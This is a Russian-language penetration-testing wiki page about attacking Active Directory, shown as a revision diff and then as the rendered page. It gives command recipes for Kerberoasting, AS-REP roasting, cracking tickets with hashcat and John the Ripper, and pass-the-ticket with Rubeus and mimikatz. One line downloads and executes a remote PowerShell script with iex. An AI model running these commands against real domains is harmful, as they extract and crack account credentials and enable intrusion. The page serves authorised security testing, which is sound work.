Active directory — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Оффлайн перебор)
м (Оффлайн перебор)
Строка 46: Строка 46:
  
 
=== Оффлайн перебор ===
 
=== Оффлайн перебор ===
 +
 +
==== NTLM ====
 +
  
 
==== TGS ====
 
==== TGS ====
Строка 53: Строка 56:
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
hashcat -m 13100 --force -a0 ./tickget.kerberoast ./pass.txt
 
hashcat -m 13100 --force -a0 ./tickget.kerberoast ./pass.txt
 +
</syntaxhighlight>
 +
 +
JohnTheRipper
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
 +
</syntaxhighlight>
 +
 +
==== Kerberoasting ====
 +
 +
Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS.
 +
Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN
 +
 +
===== Поиск SPN =====
 +
 +
====== Windows в домене ======
 +
 +
'''cmd.exe'''
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
setspn -T TestDomain -Q */*
 +
</syntaxhighlight>
 +
 +
Пример SPN учетки MSSQLSERVER
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
MSSQLSERVER/SQL-Server.testdomain.com:1433
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
 +
'''Powershell'''
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
 +
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
 +
$results = $search.Findall()
 +
foreach($result in $results)
 +
{
 +
$userEntry = $result.GetDirectoryEntry()
 +
Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
 +
Write-host "SPNs"       
 +
foreach($SPN in $userEntry.servicePrincipalName)
 +
{
 +
$SPN     
 +
}
 +
Write-host ""
 +
}
 +
</syntaxhighlight>
 +
 +
'''Invoke-Kerberoast'''
 +
 +
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
 +
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
 +
</syntaxhighlight>
 +
 +
 +
====== Удаленно ======
 +
 +
'''Windapsearch'''
 +
 +
 +
https://github.com/ropnop/windapsearch
 +
https://github.com/ropnop/go-windapsearch
 +
 +
Параметр "user-spns".
 +
 +
'''Impacket GetUserSPNs'''
 +
 +
https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
 +
</syntaxhighlight>
 +
 +
 +
 +
===== Получение TGS =====
 +
 +
 +
===== Сложные варианты =====
 +
 +
TODO
 +
 +
Без SPNS
 +
https://swarm.ptsecurity.com/kerberoasting-without-spns/
  
  
Строка 65: Строка 150:
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
Rubeus.exe aspreproast
 
Rubeus.exe aspreproast
 +
</syntaxhighlight>
 +
 +
GetNPUsers.py
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
 
</syntaxhighlight>
 
</syntaxhighlight>
  

Версия 21:07, 18 января 2022


Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.

Общая информация о сети

Домен

Доменный контроллер

Доменные компьютеры

Дополнительная информация о сети

Список пользователей

Без перебора

С перебором

Время сети

NTP

HTTP

Сетевая информация

IP

Сервисы

Получение начального доступа

Анонимный доступ

Учетные данные

Сетевой перебор учетных данных (пароля)

Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force


Оффлайн перебор

NTLM

TGS

Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.

Hashcat

1 hashcat -m 13100 --force -a0 ./tickget.kerberoast ./pass.txt

JohnTheRipper

1 john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

Kerberoasting

Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN

Поиск SPN
Windows в домене

cmd.exe

1 setspn -T TestDomain -Q */*

Пример SPN учетки MSSQLSERVER

1 MSSQLSERVER/SQL-Server.testdomain.com:1433


Powershell

 1 $search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
 2 $search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
 3 $results = $search.Findall()
 4 foreach($result in $results)
 5 {
 6 	$userEntry = $result.GetDirectoryEntry()
 7 	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
 8 	Write-host "SPNs"        
 9 	foreach($SPN in $userEntry.servicePrincipalName)
10 	{
11 		$SPN       
12 	}
13 	Write-host ""
14 }

Invoke-Kerberoast

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

1 iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
2 Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>


Удаленно

Windapsearch


https://github.com/ropnop/windapsearch https://github.com/ropnop/go-windapsearch

Параметр "user-spns".

Impacket GetUserSPNs

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

1 python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>


Получение TGS
Сложные варианты

TODO

Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/


ASP-REP roasting

Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.

Получить хеш

Rubeus

1 Rubeus.exe aspreproast

GetNPUsers.py

1 GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
Преобразования хеша

Начальный хеш

1 $krb5asrep$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA

Если у вас нет 23 после второго доллара, то надо добавить. Результат:

1 $krb5asrep$23$spot@offense.local:3171ea207b3a6fdaee52ba247c20362e$56fe7dc0caba8cb7d3a02a140c612a917df3343c01bcdab0b669efa15b29b2aebbfed2b4f3368a897b833a6b95d5c2f1c2477121c8f5e005aa2a588c5ae72aadfcbf1aedd8b7ac2f2e94e94cb101e27a2e9906e8646919815d90b4186367b6d5072ab9edd0d7b85519fbe33997b3d3b378340e3f64caa92595523b0ad8dc8e0abe69dda178d8ba487d3632a52be7ff4e786f4c271172797dcbbded86020405b014278d5556d8382a655a6db1787dbe949b412756c43841c601ce5f21a36a0536cfed53c913c3620062fdf5b18259ea35de2b90c403fbadd185c0f54b8d0249972903ca8ff5951a866fc70379b9da
Перебор хеша

JohnTheRipper

1 john --wordlist=dict.txt krbt.hashes

Hashcat

1 hashcat -m18200 '$krb5asrep$23$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA' -a 3 /usr/share/wordlists/rockyou.txt

TGT-билет

Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.

Конвертация

https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py

1 ./ticket_converter.py admin.ccache admin.kirbi
2 ./ticket_converter.py admin.kirbi admin.ccache

Импорт тикета

!Не забудьте установить время то же, пункт выше!

.ccache

Rubeus

1 .\Rubeus.exe ppt /ticket:new_ticket.ccache

Mimikatz

1 mimikatz # kerberos::ptt new_ticket.ccache

Bash

1 export KRB5CCNAME=./test.ccache